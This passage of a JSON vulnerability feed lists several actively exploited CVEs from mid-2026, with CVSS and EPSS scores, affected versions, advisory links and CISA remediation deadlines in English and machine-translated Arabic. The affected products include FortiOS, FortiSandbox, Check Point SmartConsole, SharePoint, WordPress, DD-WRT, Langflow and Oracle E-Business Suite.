الملفات."},"refs":[["https://fortiguard.fortinet.com/psirt/FG-IR-25-934","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2025-68686","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-68686","ref"]],"epss":0.295,"kevAdded":"2026-07-27T00:00:00Z","kevDue":"2026-08-10T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المسماة BOD 26-04 حول إعطاء الأولوية للتحديثات الأمنية بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات التحليل الجنائي من CISA (انظر الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"fortinet-fortios"},{"id":"CVE-2026-16232","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-22T13:53:09Z","product":"Check Point SmartConsole","affected":[],"title":{"en":"Check Point SmartConsole Improper Authentication Vulnerability","ar":"ثغرة مصادقة غير سليمة في Check Point SmartConsole"},"summary":{"en":"Check Point SmartConsole contains an improper authentication vulnerability which could allow an unauthenticated remote attacker to obtain an application login token and use it to authenticate with full administrative privileges.","ar":"يحتوي Check Point SmartConsole على ثغرة مصادقة غير سليمة والتي قد تسمح لمهاجم عن بُعد دون مصادقة بالحصول على رمز تسجيل دخول للتطبيق واستخدامه للمصادقة بصلاحيات إدارية كاملة."},"refs":[["https://support.checkpoint.com/results/sk/sk185169/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-16232","advisory"],["https://support.checkpoint.com/results/sk/sk185169","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232","ref"]],"epss":0.0352,"kevAdded":"2026-07-22T00:00:00Z","kevDue":"2026-07-25T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 حول إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"check-point-smartconsole"},{"id":"CVE-2026-50522","cvss":9.8,"vector":null,"cwe":"CWE-502","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-07-22T00:00:00Z","product":"Microsoft SharePoint","affected":[["16.0.0 – <16.0.5561.1001","16.0.5561.1001"],["16.0.0 – <16.0.10417.20175","16.0.10417.20175"],["16.0.0 – <16.0.19725.20434","16.0.19725.20434"]],"title":{"en":"Microsoft SharePoint Deserialization of Untrusted Data Vulnerability","ar":"ثغرة إلغاء التسلسل لبيانات غير موثوقة في Microsoft SharePoint"},"summary":{"en":"Microsoft SharePoint contains a deserialization of untrusted data vulnerability which could allow an unauthorized attacker to execute code over a network.","ar":"يحتوي Microsoft SharePoint على ثغرة إلغاء تسلسل لبيانات غير موثوقة والتي قد تسمح لمهاجم غير مصرح له بتنفيذ شيفرة عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522","patch"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-50522","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-50522","ref"]],"epss":0.0304,"kevAdded":"2026-07-22T00:00:00Z","kevDue":"2026-07-25T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المسماة BOD 26-04 حول إعطاء الأولوية للتحديثات الأمنية بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات التحليل الجنائي من CISA (انظر الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-sharepoint"},{"id":"CVE-2026-60137","cvss":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-89","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-07-21T00:00:00Z","product":"WordPress Core","affected":[["6.8.0 – <6.8.6","6.8.6"],["6.9.0 – <6.9.5","6.9.5"],["7.0.0 – <7.0.2","7.0.2"]],"title":{"en":"WordPress Core SQL Injection Vulnerability","ar":"ثغرة حقن SQL في WordPress Core"},"summary":{"en":"WordPress Core contains a SQL injection vulnerability when a plugin or theme passes untrusted input to the parameter. This vulnerability can be chained with CVE-2026-63030 to allow an unauthenticated attacker to gain remote code execution on default WordPress installations.","ar":"يحتوي WordPress Core على ثغرة حقن SQL عندما يقوم مكون إضافي أو سمة تمرير مدخلات غير موثوقة إلى المعامل. يمكن ربط هذه الثغرة مع CVE-2026-63030 للسماح لمهاجم دون مصادقة بتحقيق تنفيذ أوامر عن بُعد على تثبيتات WordPress الافتراضية."},"refs":[["https://wordpress.org/news/2026/07/wordpress-7-0-2-release/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-60137","advisory"],["https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60137","ref"]],"epss":0.0532,"kevAdded":"2026-07-21T00:00:00Z","kevDue":"2026-08-04T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المسماة BOD 26-04 حول إعطاء الأولوية للتحديثات الأمنية بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات التحليل الجنائي من CISA (انظر الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"wordpress"},{"id":"CVE-2026-63030","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-436","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-07-21T00:00:00Z","product":"WordPress Core","affected":[["6.9.0 – <6.9.5","6.9.5"],["7.0.0 – <7.0.2","7.0.2"]],"title":{"en":"WordPress Core Interpretation Conflict Vulnerability","ar":"ثغرة تعارض التفسير في WordPress Core"},"summary":{"en":"WordPress Core contains an interpretation conflict vulnerability that could allow an attacker to perform SQL Injection and achieve Remote Code Execution. This vulnerability can be chained with CVE-2026-60137.","ar":"يحتوي WordPress Core على ثغرة تعارض التفسير التي قد تسمح لمهاجم بإجراء حقن SQL وتحقيق تنفيذ أوامر عن بُعد. يمكن ربط هذه الثغرة مع CVE-2026-60137."},"refs":[["https://wordpress.org/news/2026/07/wordpress-7-0-2-release/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-63030","advisory"],["https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63030","ref"]],"epss":0.1065,"kevAdded":"2026-07-21T00:00:00Z","kevDue":"2026-07-24T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المسماة BOD 26-04 حول إعطاء الأولوية للتحديثات الأمنية بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات التحليل الجنائي من CISA (انظر الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"wordpress"},{"id":"CVE-2021-27137","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-07-21T00:00:00Z","product":"DD-WRT DD-WRT","affected":[["0 – <45724","45724"]],"title":{"en":"DD-WRT Stack-Based Buffer Overflow Vulnerability","ar":"ثغرة فيضان المخزن المؤقت القائم على المكدس في DD-WRT"},"summary":{"en":"DD-WRT contains a stack-based buffer overflow vulnerability that could allow an unauthenticated attacker to overflow an internal buffer used by UPnP and trigger a code execution vulnerability.","ar":"يحتوي DD-WRT على ثغرة فيضان المخزن المؤقت القائم على المكدس والتي قد تسمح لمهاجم دون مصادقة بفيضان مخزن مؤقت داخلي تستخدمه بروتوكولات UPnP وتفعيل ثغرة لتنفيذ الشيفرة."},"refs":[["https://svn.dd-wrt.com/changeset/45724","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2021-27137","advisory"],["https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/","ref"],["https://securityaffairs.com/193290/uncategorized/iot-botnet-c0xmo-adds-competitor-killing-capability.html","ref"],["https://www.bleepingcomputer.com/news/security/c0xmo-botnet-spreads-via-dd-wrt-router-flaw-kills-rival-malware/","ref"],["https://www.fortinet.com/blog/threat-research/inside-cross-platform-propagation-of-new-gafgyt-variant-c0xmo","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-27137","ref"]],"epss":0.04,"kevAdded":"2026-07-21T00:00:00Z","kevDue":"2026-07-24T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المسماة BOD 26-04 حول إعطاء الأولوية للتحديثات الأمنية بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات التحليل الجنائي من CISA (انظر الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"dd-wrt"},{"id":"CVE-2026-0770","cvss":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-829","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-21T00:00:00Z","product":"Langflow Langflow","affected":[["1.4.2",null]],"title":{"en":"Langflow Inclusion of Functionality from Untrusted Control Sphere Vulnerability","ar":"ثغرة تضمين وظائف من نطاق تحكم غير موثوق به في Langflow"},"summary":{"en":"Langflow contains an inclusion of functionality from untrusted control sphere vulnerability that allows remote attackers to execute arbitrary code on affected installations.","ar":"يحتوي Langflow على ثغرة تضمين وظائف من نطاق تحكم غير موثوق به تسمح للمهاجمين عن بُعد بتنفيذ شيفرة عشوائية على التثبيتات المتأثرة."},"refs":[["https://github.com/langflow-ai/langflow/releases/tag/v1.9.0","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-0770","advisory"],["https://www.zerodayinitiative.com/advisories/ZDI-26-036/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-0770","ref"]],"epss":0.6256,"kevAdded":"2026-07-21T00:00:00Z","kevDue":"2026-07-24T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المسماة BOD 26-04 حول إعطاء الأولوية للتحديثات الأمنية بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات التحليل الجنائي من CISA (انظر الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"langflow"},{"id":"CVE-2026-58644","cvss":9.8,"vector":null,"cwe":"CWE-502","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-07-16T00:00:00Z","product":"Microsoft SharePoint","affected":[["16.0.0 – <16.0.5556.1005","16.0.5556.1005"],["16.0.0 – <16.0.10417.20153","16.0.10417.20153"],["16.0.0 – <16.0.19725.20384","16.0.19725.20384"]],"title":{"en":"Microsoft SharePoint Deserialization of Untrusted Data Vulnerability","ar":"ثغرة إلغاء التسلسل لبيانات غير موثوقة في Microsoft SharePoint"},"summary":{"en":"Microsoft SharePoint contains a deserialization of untrusted data vulnerability that allows an unauthorized attacker to execute code over a network.","ar":"يحتوي Microsoft SharePoint على ثغرة إلغاء تسلسل لبيانات غير موثوقة تسمح لمهاجم غير مصرح له بتنفيذ شيفرة عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644","patch"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-58644","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-58644","ref"]],"epss":0.1587,"kevAdded":"2026-07-16T00:00:00Z","kevDue":"2026-07-19T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المسماة BOD 26-04 حول إعطاء الأولوية للتحديثات الأمنية بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات التحليل الجنائي من CISA (انظر الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-sharepoint"},{"id":"CVE-2026-25089","cvss":9.1,"vector":null,"cwe":"CWE-78","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-16T00:00:00Z","product":"Fortinet FortiSandbox","affected":[["5.0.0 – 5.0.5",null],["4.4.0 – 4.4.8",null],["4.2.1 – 4.2.8",null],["5.0.4 – 5.0.5",null]],"title":{"en":"Fortinet FortiSandbox OS Command Injection Vulnerability","ar":"ثغرة حقن أوامر نظام التشغيل في Fortinet FortiSandbox"},"summary":{"en":"Fortinet FortiSandbox, FortiSandbox Cloud, and FortiSandbox PaaS contain an OS command injection vulnerability that allows an unauthenticated attacker to execute unauthorized commands via specifically crafted HTTP requests.","ar":"تحتوي منتجات Fortinet FortiSandbox وFortiSandbox Cloud وFortiSandbox PaaS على ثغرة حقن أوامر نظام التشغيل تسمح لمهاجم دون مصادقة بتنفيذ أوامر غير مصرح بها عبر طلبات HTTP مصممة خصيصًا."},"refs":[["https://fortiguard.fortinet.com/psirt/FG-IR-26-141","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-25089","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-25089","ref"]],"epss":0.7611,"kevAdded":"2026-07-16T00:00:00Z","kevDue":"2026-07-19T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المسماة BOD 26-04 حول إعطاء الأولوية للتحديثات الأمنية بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات التحليل الجنائي من CISA (انظر الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"fortinet-fortisandbox"},{"id":"CVE-2026-39808","cvss":9.1,"vector":null,"cwe":"CWE-78","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-16T00:00:00Z","product":"Fortinet FortiSandbox","affected":[["4.4.0 – 4.4.8",null],["23.4.4374",null],["23.4.4350",null],["23.3.4329",null],["23.1.4245",null],["22.2.4151",null],["22.2.4134",null],["22.1.4113",null],["21.4.4072",null],["21.3.4055",null]],"title":{"en":"Fortinet FortiSandbox OS Command Injection Vulnerability","ar":"ثغرة حقن أوامر نظام التشغيل في Fortinet FortiSandbox"},"summary":{"en":"Fortinet FortiSandbox contains an OS command injection vulnerability that could allow an unauthenticated attacker to execute unauthorized code or commands via crafted HTTP requests.","ar":"يحتوي Fortinet FortiSandbox على ثغرة حقن أوامر نظام التشغيل والتي قد تسمح لمهاجم دون مصادقة بتنفيذ شيفرة أو أوامر غير مصرح بها عبر طلبات HTTP مصممة خصيصًا."},"refs":[["https://fortiguard.fortinet.com/psirt/FG-IR-26-100","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-39808","advisory"],["https://github.com/samu-delucas/CVE-2026-39808","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39808","ref"]],"epss":0.9319,"kevAdded":"2026-07-16T00:00:00Z","kevDue":"2026-07-19T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المسماة BOD 26-04 حول إعطاء الأولوية للتحديثات الأمنية بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات التحليل الجنائي من CISA (انظر الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"fortinet-fortisandbox"},{"id":"CVE-2026-46817","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-15T00:00:00Z","product":"Oracle E-Business Suite","affected":[["12.2.3 – 12.2.15",null]],"title":{"en":"Oracle E-Business Suite Improper Privilege Management Vulnerability","ar":"ثغرة إدارة الصلاحيات غير السليمة في Oracle E-Business Suite"},"summary":{"en":"Oracle E-Business Suite contains an improper privilege management vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise Oracle Payments. Successful attacks of this vulnerability can result in takeover of Oracle Payments.","ar":"يحتوي Oracle E-Business Suite على ثغرة إدارة صلاحيات غير سليمة تتيح لمهاجم دون مصادقة لديه إمكانية الوصول إلى الشبكة عبر HTTP اختراق Oracle Payments. يمكن أن تؤدي الهجمات الناجحة على هذه الثغرة إلى الاستيلاء على Oracle Payments."},"refs":[["https://www.oracle.com/security-alerts/cspumay2026.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-46817","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-46817","ref"]],"epss":0.1231,"kevAdded":"2026-07-15T00:00:00Z","kevDue":"2026-07-18T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المسماة BOD 26-04 حول إعطاء الأولوية للتحديثات الأمنية بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات التحليل الجنائي من CISA (انظر الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"oracle-e-business-suite"},{"id":"CVE-2023-4346","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-645","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-15T00:00:00Z","product":"KNX Association KNX Protocol Connection Authorization Option 1","affected":[],"title":{"en":"KNX Association KNX Protocol Connection Authorization Option 1 Overly Restrictive Account Lockout Mechanism Vulnerability","ar":"ثغرة آلية قفل الحساب المقيدة بشكل مبالغ فيه في خيار المصادقة 1 لبروتوكول KNX من جمعية KNX Association"},"summary":{"en":"KNX Association KNX Protocol Connection Authorization Option 1 contains an overly restrictive account lockout mechanism vulnerability that could allow an attacker to purge all devices without additional security options enabled and set a BCU key to lock the device.","ar":"يحتوي خيار المصادقة 1 لبروتوكول KNX من جمعية KNX Association على ثغرة تتمثل في آلية قفل حساب مقيدة بشكل مبالغ فيه، مما قد يسمح للمهاجم بحذف جميع الأجهزة في حال عدم تمكين خيارات الأمان الإضافية، وتعيين مفتاح BCU لقفل الجهاز."},"refs":[["https://www.cisa.gov/news-events/ics-advisories/icsa-23-236-01","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2023-4346","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-4346","ref"]],"epss":0.0136,"kevAdded":"2026-07-15T00:00:00Z","kevDue":"2026-07-29T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم BOD 26-04 الصادر عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات 